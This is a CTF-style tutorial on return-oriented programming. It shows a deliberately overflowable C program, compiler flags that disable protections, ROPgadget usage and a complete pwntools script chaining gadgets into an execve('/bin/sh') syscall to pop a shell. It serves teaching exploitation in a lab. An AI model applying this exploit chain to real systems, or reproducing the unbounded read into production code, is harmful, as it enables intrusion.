Simple PWN - 0x07(ROP)

Simple PWN - 0x07(ROP)

tags: CTF PWN eductf

Background

  • This is very similar to normal BOF.
  • If a sample code that doesn’t have a backdoor function and you cannot input a backdoor function as well, then you can use some code segment to merge a shellcode.
  • Therefore, the main idea is use some <operation>;ret pattern segment to overlap stack.

Original Code

#include <stdio.h>
#include <unistd.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0)
    setvbuf(stdout, 0, _IONBF, 0);

    char s[0x10];

    printf("Here is your \"/bin/sh\": %p\n", "/bin/sh");
    printf("Give me your ROP: ");
    read(0, s, 0x400);
    
    return 0;
}
  • At line 11, %p means pointer of /bin/sh string.
  • Note that, if you establish the code yourself, you must turn off the protection by the command below and use checksec to observe the protection. In addition, please use -static command to compile library at compile time, so that we can get ROP gadget more easily.
      gcc -o rop rop.c -zexecstack -no-pie -fno-stack-protector -z norelro -static
    

Exploit

  • First, we can observe the program has overflow(very important), but has no other backdoor method can access or global variable can write shellcode. Then we can consider to use ROP gadget to construct chain.
  • Second, we use ROPgadget to find suitable gadget
      $ ROPgadget --multibr --binary rop > rop_gadget
      $ vim rop_gadget
    

    reference link

    • Note that, you may consider that pop rdx ; pop rbx ; ret is not what we want. We just want pop rdx ; ret. Therefore, we have to push one more value for pop rbx ; instruction.
  • Then, we can construct our payload:
      from pwn import *
    
      context.arch = 'amd64'
    
      r = process('./rop')
    
      r.recvuntil('Here is your "/bin/sh": ')
      binsh = int(r.recvline()[:-1], 16)
      info(f"binsh: {hex(binsh)}")
    
      pop_rdi_ret = 0x401eaf
      pop_rsi_ret = 0x409ede
      pop_rdx_ret = 0x485aeb
      pop_rax_ret = 0x44fcc7
      syscall = 0x401c64
    
    • Note that, r.recvline()[:-1] is b'0x498004' and we must pop to %rdi at line 17 below.
  • Then we can combine them together using flat method. It’ll flat the address with length 8 bytes.
      ROP = flat(
          pop_rdi_ret, binsh,
          pop_rsi_ret, 0,
          pop_rdx_ret, 0, 0,
          pop_rax_ret, 0x3b,
          syscall,
      )
    
      gdb.attach(r)
      r.sendafter("Give me your ROP: ", b'a' * 0x18 + ROP)
    
      r.interactive()
    
  • Finally, we got shell!!!

Analysis

  • This is totally the same as our hypothesis.
  • We can see that all parameters are ready

Reference

NTUSTISC - Pwn Basic 3 [2019.03.26] Pwn week1